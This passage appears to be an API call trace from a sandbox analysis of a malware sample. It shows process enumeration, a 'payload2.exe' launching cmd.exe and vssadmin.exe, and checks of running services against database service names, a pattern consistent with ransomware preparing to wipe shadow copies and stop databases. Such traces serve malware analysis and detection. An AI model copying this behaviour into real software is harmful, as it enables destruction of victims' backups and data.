(lpString="svchost.exe") returned 11 [0059.478] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0059.478] lstrlenW (lpString="taskeng.exe") returned 11 [0059.478] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0059.479] lstrlenW (lpString="taskhost.exe") returned 12 [0059.479] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="presidential.exe")) returned 1 [0059.480] lstrlenW (lpString="presidential.exe") returned 16 [0059.480] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ol-filing.exe")) returned 1 [0059.480] lstrlenW (lpString="ol-filing.exe") returned 13 [0059.480] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="overcome.exe")) returned 1 [0059.481] lstrlenW (lpString="overcome.exe") returned 12 [0059.481] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declinedreferral.exe")) returned 1 [0059.482] lstrlenW (lpString="declinedreferral.exe") returned 20 [0059.482] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="franciscotrack.exe")) returned 1 [0059.482] lstrlenW (lpString="franciscotrack.exe") returned 18 [0059.482] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nicholas.exe")) returned 1 [0059.483] lstrlenW (lpString="nicholas.exe") returned 12 [0059.483] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asbestosauthentication.exe")) returned 1 [0059.484] lstrlenW (lpString="asbestosauthentication.exe") returned 26 [0059.484] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="word.exe")) returned 1 [0059.484] lstrlenW (lpString="word.exe") returned 8 [0059.484] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="semestermeta.exe")) returned 1 [0059.485] lstrlenW (lpString="semestermeta.exe") returned 16 [0059.485] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reflects.exe")) returned 1 [0059.486] lstrlenW (lpString="reflects.exe") returned 12 [0059.486] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="beveragesradios.exe")) returned 1 [0059.486] lstrlenW (lpString="beveragesradios.exe") returned 19 [0059.486] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shaved_extraordinary.exe")) returned 1 [0059.487] lstrlenW (lpString="shaved_extraordinary.exe") returned 24 [0059.487] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ground.exe")) returned 1 [0059.488] lstrlenW (lpString="ground.exe") returned 10 [0059.488] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="least.exe")) returned 1 [0059.488] lstrlenW (lpString="least.exe") returned 9 [0059.488] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="meetings.exe")) returned 1 [0059.489] lstrlenW (lpString="meetings.exe") returned 12 [0059.489] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wooltestimony.exe")) returned 1 [0059.490] lstrlenW (lpString="wooltestimony.exe") returned 17 [0059.490] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="inexpensive.exe")) returned 1 [0059.490] lstrlenW (lpString="inexpensive.exe") returned 15 [0059.490] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="er-amd.exe")) returned 1 [0059.491] lstrlenW (lpString="er-amd.exe") returned 10 [0059.491] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="abandoned_frames.exe")) returned 1 [0059.492] lstrlenW (lpString="abandoned_frames.exe") returned 20 [0059.492] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0059.492] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0059.492] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0059.499] lstrlenW (lpString="payload2.exe") returned 12 [0059.499] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0059.500] lstrlenW (lpString="cmd.exe") returned 7 [0059.500] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0059.501] lstrlenW (lpString="conhost.exe") returned 11 [0059.501] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x940, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0059.501] lstrlenW (lpString="vssadmin.exe") returned 12 [0059.501] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0059.502] lstrlenW (lpString="VSSVC.exe") returned 9 [0059.502] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.503] lstrlenW (lpString="svchost.exe") returned 11 [0059.503] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0059.503] CloseHandle (hObject=0x220) returned 1 [0059.503] Sleep (dwMilliseconds=0x1f4) [0060.442] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f8c530 [0060.442] EnumServicesStatusExW (in: hSCManager=0x3f8c530, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 0 [0060.443] GetLastError () returned 0xea [0060.443] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x12c6) returned 0x26e060 [0060.443] EnumServicesStatusExW (in: hSCManager=0x3f8c530, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x26e060, cbBufSize=0x12c6, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x26e060, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 1 [0060.443] CloseServiceHandle (hSCObject=0x3f8c530) returned 1 [0060.443] lstrlenW (lpString="Appinfo") returned 7 [0060.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0060.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0060.443] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0060.444] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0060.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0060.444] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0060.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0060.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0060.444] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0060.444] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0060.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0060.444] lstrlenW (lpString="AudioSrv") returned 8 [0060.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0060.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0060.444] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0060.444] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0060.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0060.444] lstrlenW (lpString="BFE") returned 3 [0060.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0060.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0060.444] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0060.444] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0060.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0060.444] lstrlenW (lpString="CryptSvc") returned 8 [0060.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0060.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0060.444] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0060.444] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0060.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0060.445] lstrlenW (lpString="CscService") returned 10 [0060.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0060.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0060.445] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0060.445] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0060.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0060.445] lstrlenW (lpString="DcomLaunch") returned 10 [0060.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0060.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0060.445] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0060.445] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0060.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0060.445] lstrlenW (lpString="Dhcp") returned 4 [0060.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0060.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0060.445] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0060.445] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0060.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0060.445] lstrlenW (lpString="Dnscache") returned 8 [0060.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0060.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0060.445] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0060.445] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0060.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0060.445] lstrlenW (lpString="DPS") returned 3 [0060.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0060.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0060.446] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0060.446] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0060.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0060.446] lstrlenW (lpString="eventlog") returned 8 [0060.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0060.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0060.446] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0060.446] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0060.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0060.446] lstrlenW (lpString="EventSystem") returned 11 [0060.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0060.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0060.446] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0060.446] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0060.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0060.446] lstrlenW (lpString="gpsvc") returned 5 [0060.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0060.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0060.446] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0060.446] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0060.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0060.446] lstrlenW (lpString="iphlpsvc") returned 8 [0060.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0060.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0060.446] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0060.446] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0060.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0060.446] lstrlenW (lpString="LanmanServer") returned 12 [0060.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0060.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0060.446] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0060.446] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0060.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0060.447] lstrlenW (lpString="LanmanWorkstation") returned 17 [0060.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0060.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0060.447] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0060.447] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0060.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0060.447] lstrlenW (lpString="lmhosts") returned 7 [0060.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0060.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0060.447] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0060.447] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0060.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0060.447] lstrlenW (lpString="MMCSS") returned 5 [0060.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0060.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0060.447] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0060.447] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0060.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0060.447] lstrlenW (lpString="MpsSvc") returned 6 [0060.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0060.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0060.447] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0060.447] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0060.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0060.447] lstrlenW (lpString="Netman") returned 6 [0060.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0060.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0060.447] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0060.447] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0060.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0060.447] lstrlenW (lpString="netprofm") returned 8 [0060.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0060.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0060.448] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0060.448] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0060.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0060.448] lstrlenW (lpString="NlaSvc") returned 6 [0060.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0060.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0060.448] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0060.448] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0060.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0060.448] lstrlenW (lpString="nsi") returned 3 [0060.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0060.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0060.448] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0060.448] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0060.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0060.448] lstrlenW (lpString="PcaSvc") returned 6 [0060.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0060.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0060.448] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0060.448] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0060.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0060.448] lstrlenW (lpString="PlugPlay") returned 8 [0060.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0060.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0060.448] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0060.448] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0060.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0060.448] lstrlenW (lpString="Power") returned 5 [0060.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0060.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0060.449] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0060.449] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0060.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0060.449] lstrlenW (lpString="ProfSvc") returned 7 [0060.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0060.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0060.449] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0060.449] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0060.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0060.449] lstrlenW (lpString="RpcEptMapper") returned 12 [0060.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0060.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0060.449] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0060.449] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0060.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0060.449] lstrlenW (lpString="RpcSs") returned 5 [0060.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0060.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0060.449] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0060.449] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0060.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0060.449] lstrlenW (lpString="SamSs") returned 5 [0060.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0060.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0060.449] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0060.449] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0060.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0060.449] lstrlenW (lpString="Schedule") returned 8 [0060.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0060.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0060.449] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0060.449] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0060.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0060.450] lstrlenW 